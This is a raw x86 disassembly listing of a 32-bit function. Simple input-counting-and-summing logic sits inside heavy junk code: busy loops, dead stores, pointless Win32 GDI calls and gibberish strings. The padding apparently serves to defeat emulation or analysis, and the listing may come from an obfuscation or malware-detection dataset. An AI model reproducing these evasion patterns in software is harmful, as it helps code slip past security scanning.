jmp 0x10038b1c
inc dword [ebp - 0x80]
jmp 0x10038af5
mov dl, byte [ebp - 0x93]
mov al, dl
and dl, 0xa8
or al, 0xa8
movzx ecx, al
movzx eax, dl
sub cx, ax
movzx eax, byte [ebp - 0x94]
push 3
pop esi
mov word [ebp + eax*2 - 0xbc], cx
mov dword [ebp - 0x2c], 0x9807
mov dword [ebp - 0x18], ebx
jmp 0x10038c99
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x38c], 0x4b666a75
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10038c88
mov dword [ebp - 0x30], 0x7679
cmp dword [ebp - 0x30], 0x7a05
jle 0x10038d2c
push ebx
push 0x760
push 0x145b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
mov ecx, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
xor eax, ecx
lea ecx, [ebp - 0x470]
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10038cf3
mov eax, dword [eax]
push eax
call fcn.1004252f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x470]
call fcn.100038eb
mov ecx, dword [ebp - 0x24]
inc esi
cmp esi, 0x5c4c
jl 0x10038cd6
inc edi
cmp edi, 0x5bf2
jl 0x10038cd4
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x507
jl 0x10038cd2
or edi, 0xffffffff
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x30], 0x7605
jge 0x10038d52
push str.ptac_ztjvfbj_qqfjlsb_mzcbnbwyc_qeu
call fcn.1004252f
pop ecx
xor eax, eax
mov dword [ebp - 4], edi
inc eax
mov byte [ebp - 0x9e], bl
push eax
mov dl, al
lea ecx, [ebp - 0x9e]
call fcn.1003627e
pop ecx
push 2
pop esi
mov dword [ebp - 0x104], ebx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], esi
cmp esi, 7
jae 0x1003991e
mov dword [ebp - 0x18], ebx
jmp 0x10038d9b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x264], 0x399841b3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10038d8a
mov dword [ebp - 0x260], 0xfffffff4
cmp dword [ebp - 0x260], 0xfffffffc
jg 0x10038e74
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x10038e69
sub esp, 0x10
call fcn.1003637a
mov dword [ebp - 0x2c], 0x2e39
add esp, 0x10
cmp dword [ebp - 0x2c], 0x3158
jle 0x10038e20
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x44], ebx
mov ecx, ebx
mov eax, esi
shl eax, cl
mov ecx, 0x10073998
xor eax, edi
cdq
push edx
push eax
call fcn.100034ac
inc ebx
cmp ebx, 0x5184
jl 0x10038de7
inc esi
push 0
pop ebx
cmp esi, 0x73ea
jl 0x10038de4
inc edi
cmp edi, 0x4c68
jl 0x10038de2
mov esi, dword [ebp - 0x28]
or edi, 0xffffffff
mov dword [ebp - 4], 0x19
cmp dword [ebp - 0x2c], 0x2c5a
jge 0x10038e66
mov edx, str.skoic_rtmt_xpomz_bptdwmke_lpd_qbe_fbx_dkobqbm_fyk_zwy_feyeknj_qggvcrgwa_drvd_iuxb
mov ecx, 0x10073998
call fcn.10005649
jmp 0x10038e66
mov dword [ebp - 4], edi
inc dword [ebp - 0x260]
jmp 0x10038dab
movzx eax, byte [ebp - 0x94]
xor ecx, ecx
inc ecx
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x10039332
mov dword [ebp - 0x38], 0x30f9
mov dword [ebp - 0x50], 0xfffffff9
mov dword [ebp - 0x44], 0x31d8b9db
mov dword [ebp - 0x68], 0x92bd42ca
mov dword [ebp - 0x2c], 0xae7b79f6
mov dword [ebp - 0x50], 0xc48b1647
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x50], 0xb372ba29
mov dword [ebp - 0x50], 0xfffffff7
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x50], 0xd0e75d
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x50], 0x746e33a7
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x23c], edi
mov dword [ebp - 0x238], edi
mov dword [ebp - 0x234], edi
mov dword [ebp - 0x230], edi
mov dword [ebp - 0x18], ebx
jmp 0x10038f16
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x324], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10038f05
push 0x7796
push 0x437a
lea eax, [ebp - 0xa0]
mov byte [ebp - 0xa0], bl
push eax
push ecx
push 0x7778
push 0x3a7c
push ecx
push ecx
mov edx, 0x979
mov ecx, 0x6ce1
call fcn.100363c5
mov eax, dword [ebp - 0x38]
add esp, 0x20
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x30]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
dec dword [ebp - 0x23c]
mov esi, dword [ebp - 0x23c]
mov eax, dword [ebp - 0x44]
cmp edx, eax
setg cl
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
cmp eax, 0x6cad
setne cl
xor edx, edx
sub ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setl dl
xor ecx, ecx
add edx, esi
mov esi, dword [ebp - 0x28]
cmp edx, eax
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x38]
setle cl
sub ecx, 0xc705be73
neg ecx
sbb ecx, ecx
add edx, 0xb49c9622
inc ecx
add edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
movzx eax, byte [ebp + esi - 0x94]
setle cl
inc eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x18], 0x27cb3f4f
mov dword [ebp - 0x18], ebx
jmp 0x10038ff6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x330], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10038fe5
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 2
jge 0x100390aa
mov dword [ebp - 0x2c], 0x6c6e
cmp dword [ebp - 0x2c], 0x6ff2
jle 0x1003907d
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
cdq
lea ecx, [ebp - 0x4a0]
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10039038
mov eax, dword [eax]
push eax
call fcn.1004252f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4a0]
call fcn.100038eb
inc esi
cmp esi, 0x537
jl 0x1003901d
inc edi
cmp edi, 0x5467
jl 0x1003901b
push ebx
push 0x11e3
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
or edi, 0xffffffff
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x330], 0xfffffff9
cmp dword [ebp - 0x2c], 0x6aae
jge 0x1003909f
push str.xvo_vghy_syxahrhff_ivrgxywii_vnbko_kpahmb_ipfwq_fribkjzrp_yxiquzasg_aygfwk_jia_rjhopk_haqrstcg
call fcn.1004252f
pop ecx
mov dword [ebp - 4], edi
inc dword [ebp - 0x18]
jmp 0x10038fff
xor eax, eax
mov edx, 0x7f31
inc eax
mov ecx, 0x3ada
push eax
push 0x61a6
push 0x310f
push eax
push eax
call fcn.1003654b
mov esi, dword [ebp - 0x28]
xor ecx, ecx
add esp, 0x14
movzx eax, byte [ebp + esi - 0x94]
dec esi
mov dword [ebp - 0x2c], ebx
add esi, eax
mov dword [ebp - 0x24], 0x5ef13550
inc ecx
mov dword [ebp - 0x50], 0x9633ef28
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x1c], ebx
jmp 0x10039104
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x78], 8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100390f6
mov dword [ebp - 0x1c], ebx
jmp 0x1003911f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x9c], 0x7c7ce53d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003910e
mov dword [ebp - 0x1c], ebx
jmp 0x10039137
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3d4], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1003912a
mov dword [ebp - 0x9c], ebx
cmp dword [ebp - 0x9c], ebx
jl 0x1003930d
mov dword [ebp - 0x1c], 0x1f2c
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x44], 0xba5fc02
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ecx
jge 0x10039360
push 0xfffffffffffffffe
pop edx
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003934e
mov dword [ebp - 0x44], 0x1991
cmp dword [ebp - 0x44], 0x1065
jge 0x100394a2
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x148]
push eax
push str._ld__ld_n
call fcn.100422fb
add esp, 0xc
mov dword [ebp - 0x1dc], ebx
lea eax, [ebp - 0x1dc]
mov dword [ebp - 0x164], ebx
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x160], ebx
mov dword [ebp - 0x15c], ebx
push eax
push dword [ebp - 0x144]
call fcn.1003af54
cmp dword [ebp - 0x148], 0
mov edi, ebx
mov esi, dword [ebp - 0x164]
jle 0x100393fc
lea eax, [ebp - 0x16c]
push eax
push 0x10064238
call fcn.100422fb
mov eax, dword [ebp - 0x16c]
dec eax
mov dword [ebp - 0x16c], eax
pop ecx
pop ecx
inc dword [esi + eax*4]
inc edi
cmp edi, dword [ebp - 0x148]
jl 0x100393d0
mov ecx, dword [ebp - 0x144]
xorps xmm0, xmm0
movlpd qword [ebp - 0x54], xmm0
mov edx, dword [ebp - 0x54]
test ecx, ecx
jle 0x10039470
mov ebx, dword [ebp - 0x50]
xor edi, edi
inc edi
mov dword [ebp - 0x20], edx
mov eax, esi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], eax
mov edx, ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x44], edi
cmp edi, ecx
jge 0x10039456
mov edx, dword [eax]
mov dword [ebp - 0x68], edx
mov eax, dword [esi + edi*4]
imul eax, edx
cdq
add dword [ebp - 0x20], eax
adc ebx, edx
mov edx, dword [ebp - 0x68]
inc edi
cmp edi, ecx
jl 0x10039436
mov edi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x34], ebx
inc edi
add eax, 4
dec edx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], edx
jne 0x1003942a
mov eax, dword [ebp - 0x34]
xor ebx, ebx
mov edx, dword [ebp - 0x20]
jmp 0x10039473
mov eax, dword [ebp - 0x50]
push eax
push edx
push str._lld_n
call fcn.1004252f
add esp, 0xc
test esi, esi
je 0x1003949f
push esi
call fcn.10042697
pop ecx
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x160], ebx
mov dword [ebp - 0x15c], ebx
xor ecx, ecx
inc ecx
mov dword [ebp - 0x18], ebx
jmp 0x100394b8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x88], 0x91df82
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100394a7
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x88], ebx
jne 0x100394d5
mov esi, ebx
cmp dword [ebp - 0xb4], ebx
je 0x100394d7
mov esi, ecx
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x88]
add edx, 0xd8ef0693
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
xor edx, edx
cmp esi, ecx
setg dl
xor eax, eax
xor esi, esi
inc esi
cmp edx, esi
setg al
xor edx, edx
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0x88]
mov eax, dword [ebp - 0xb4]
cmp eax, ecx
mov eax, dword [ebp - 0x38]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setg cl
inc dword [ebp - 0x1c]
cmp eax, ecx
jg 0x10039549
xor eax, eax
inc eax
mov ecx, eax
jmp 0x1003954e
xor eax, eax
mov ecx, ebx
inc eax
mov dword [ebp - 0x88], ecx
cmp dword [ebp - 0x38], ebx
jne 0x1003956d
mov dword [ebp - 0x88], 0xd88101ae
mov ecx, ebx
cmp dword [ebp - 0xb4], ebx
je 0x1003956f
mov ecx, eax
mov esi, dword [ebp - 0x28]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0x44], eax
mov eax, esi
sub eax, dword [ebp - 0x104]
movzx edx, byte [ebp + esi - 0x93]
movzx eax, byte [ebp + eax - 0x96]
movzx ecx, word [ebp + eax*2 - 0xbc]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x94]
add ecx, edx
mov word [ebp + eax*2 - 0xbc], cx
mov dword [ebp - 0x1c], 6
mov dword [ebp - 0x38], 0x487
cmp dword [ebp - 0x38], 0x515
jle 0x10039638
push ebx
push 0x148f
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
mov edi, ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x2c], 0x30b8
mov esi, ebx
mov ebx, dword [ebp - 0x34]
mov eax, ebx
mov ecx, 0x10073998
cdq
idiv esi
mov eax, edi
sub eax, edx
cdq
push edx
push eax
call fcn.100034ac
inc esi
cmp esi, 0x45d5
jl 0x100395f4
mov esi, dword [ebp - 0x30]
add ebx, esi
dec dword [ebp - 0x2c]
push 0
mov dword [ebp - 0x34], ebx
pop ebx
jne 0x100395ef
inc esi
mov dword [ebp - 0x30], esi
cmp esi, 0x7114
jl 0x100395e5
inc edi
cmp edi, 0x3038
jl 0x100395e2
mov dword [ebp - 0x20], 0xfffffff9
mov dword [ebp - 4], 0x1d
cmp dword [ebp - 0x38], 0x31e
jge 0x1003965e
mov edx, str.seu_dwtk_nqnhkohq_xusf_laz_hcpgvj_eedeip_boy_vjvcysl
mov ecx, 0x10073998
call fcn.10005649
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x34], 0x294
cmp dword [ebp - 0x34], 0x312
jle 0x100396a9
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x44], ebx
lea eax, [esi + edi]
mov ecx, 0x10073998
and eax, ebx
cdq
push edx
push eax
call fcn.100034ac
inc ebx
cmp ebx, 0x3801
jl 0x10039679
inc esi
push 0
pop ebx
cmp esi, 0x3ba9
jl 0x10039676
inc edi
cmp edi, 0x9ce
jl 0x10039674
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], 0x1f
cmp dword [ebp - 0x34], 0xbd
jge 0x100396cb
mov edx, str.eodz_eittmjta_pxlndcszn_gmdlwl_ksz_kohpz_auhsis_jzkkrx
mov ecx, 0x10073998
call fcn.10005649
or edi, 0xffffffff
mov dword [ebp - 4], edi
mov dword [ebp - 0x34], 0x1497ea9b
mov dword [ebp - 0x34], 0xc7819afc
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x34], 0xfffffffd
mov dword [ebp - 0x18], ebx
jmp 0x1003974d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1c0], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10039740
mov dword [ebp - 0x18], ebx
jmp 0x10039769
cmp dword [ebp - 0x18], 2
jl 0x10039758
mov dword [ebp - 0x84], 0x61f9
xor ecx, ecx
mov dword [ebp - 0x50], 0xd2466e9f
inc ecx
mov dword [ebp - 0x50], 0xa11600d5
mov dword [ebp - 0x50], 0xa14c5530
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x50], 0x77cccaea
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x50], 0xda99da97
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x28], ebx
jmp 0x1003996d
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1ec], 6
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x1003995c
cmp dword [ebp - 0x84], ebx
je 0x1003999c
push ecx
lea eax, [ebp - 0x1e4]
mov dword [ebp - 0x1e4], 0x7e4fc22
push eax
lea edx, [ebp - 0x84]
call fcn.10036675
jmp 0x10039ab6
mov dword [ebp - 0x44], 0x5b1b6fd4
mov dword [ebp - 0x68], 0x3b4709ba
mov dword [ebp - 0x34], 0x5f40e13f
mov dword [ebp - 0x50], 0xfffffff7
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x28], ebx
jmp 0x100399d1
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x284], 0x872d9ee1
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x100399c0
mov dword [ebp - 0x84], ebx
cmp dword [ebp - 0x84], ecx
jg 0x10039aa9
mov dword [ebp - 0x50], 0x5145ccb9
xor edx, edx
mov dword [ebp - 0x50], 0x7289fff1
mov dword [ebp - 0x2c], 0xafb5d1cb
mov dword [ebp - 0x40], 0xfffffff8
mov eax, dword [ebp - 0x44]
cmp eax, 0xfffffffd
mov eax, dword [ebp - 0x68]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
setl dl
xor eax, eax
cmp edx, 0x659baaa4
setge al
sub eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
imul esi, eax, 9
neg esi
sbb esi, esi
xor edx, edx
neg esi
inc dword [ebp - 0x38]
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp + eax*4 - 0x284]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
mov eax, dword [ebp - 0x2c]
setg dl
add eax, 0xd800
xor ecx, ecx
cmp eax, esi
setge cl
xor eax, eax
imul ecx, edx
cmp ecx, 0x1d12
setge al
xor ecx, ecx
cmp eax, 0x21dd
mov eax, dword [ebp - 0x84]
setne cl
mov dword [ebp + eax*4 - 0x284], ecx
inc dword [ebp - 0x84]
cmp dword [ebp - 0x84], 1
jle 0x100399e9
xor ebx, ebx
push ecx
push 0x5a52
xor cl, cl
call fcn.100368a5
mov dword [ebp - 0x18], ebx
pop ecx
pop ecx
cmp dword [ebp - 0x18], ebx
jl 0x10039ad1
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x1ec], ebx
jne 0x10039ad1
dec dword [ebp - 0x18]
jns 0x10039ac0
xor eax, eax
mov dword [ebp - 0x2e0], 7
mov word [ebp - 0xba], ax
lea ecx, [ebp - 0x2f4]
mov word [ebp - 0x2f4], ax
lea eax, [ebp - 0xbc]
push eax
mov dword [ebp - 0x2e4], ebx
call fcn.100039d7
cmp dword [ebp - 0x2e0], 8
lea eax, [ebp - 0x2f4]
push ebx
cmovae eax, dword [ebp - 0x2f4]
lea ecx, [ebp - 0x2f4]
push 1
movzx eax, word [eax]
mov dword [ebp - 0x1c4], eax
call fcn.10003df6
mov dword [ebp - 0x34], 0xb2f
cmp dword [ebp - 0x34], 0xd8b
jle 0x10039bb4
mov dword [ebp - 0x38], ebx
mov edx, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x4d0]
and eax, edx
and eax, dword [ebp - 0x38]
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10039b6d
mov eax, dword [eax]
push eax
call fcn.1004252f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4d0]
call fcn.100038eb
mov edx, dword [ebp - 0x24]
inc esi
cmp esi, 0x440d
jl 0x10039b4a
inc edi
cmp edi, 0x70d0
jl 0x10039b48
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0x26f
jl 0x10039b46
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp eax, 0x556a
jl 0x10039b41
or edi, 0xffffffff
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x34], 0x8cd
jge 0x10039bcb
push str.wyd_riy_rimzzdb_jbrnbrt_bbbzdbo_rafmrfndw
call fcn.1004252f
pop ecx
mov dword [ebp - 4], edi
mov dword [ebp - 0x18], 0x481f3403
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x18], ebx
jmp 0x10039bf1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x380], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10039be4
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
je 0x10039c04
xor eax, eax
inc eax
jmp 0x10039c06
mov eax, ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
je 0x10039c22
xor eax, eax
inc eax
jmp 0x10039c24
mov eax, ebx
cmp eax, edi
mov eax, dword [ebp - 0x1c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp eax, edx
setne cl
sub ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x1c]
jne 0x10039c51
cmp dword [ebp - 0x1c], ebx
je 0x10039c51
xor edx, edx
inc edx
mov ecx, edx
jmp 0x10039c56
xor edx, edx
mov ecx, ebx
inc edx
mov eax, dword [ebp - 0x1c]
imul eax, ecx
cmp eax, edx
jg 0x10039c67
mov ecx, edx
cmp dword [ebp - 0x1c], ebx
jne 0x10039c69
mov ecx, ebx
mov eax, dword [ebp - 0x1c]
add eax, ecx
jne 0x10039c73
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
neg eax
je 0x10039d3d
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x18], ebx
jmp 0x10039c97
cmp dword [ebp - 0x18], 2
jl 0x10039c8a
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 6
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x37c], eax
mov dword [ebp - 0xbc], ebx
mov dword [ebp - 0x168], 0x1c7b
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x50], 0x5ca42045
mov dword [ebp - 0x50], 0x586fd5d7
mov dword [ebp - 0x50], 0xfce6bb2f
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x50], 0x4f9dbc9b
push 2
pop eax
mov dword [ebp - 0x314], eax
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], eax
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x18], ebx
jmp 0x10039db3
cmp dword [ebp - 0x18], 3
jl 0x10039da2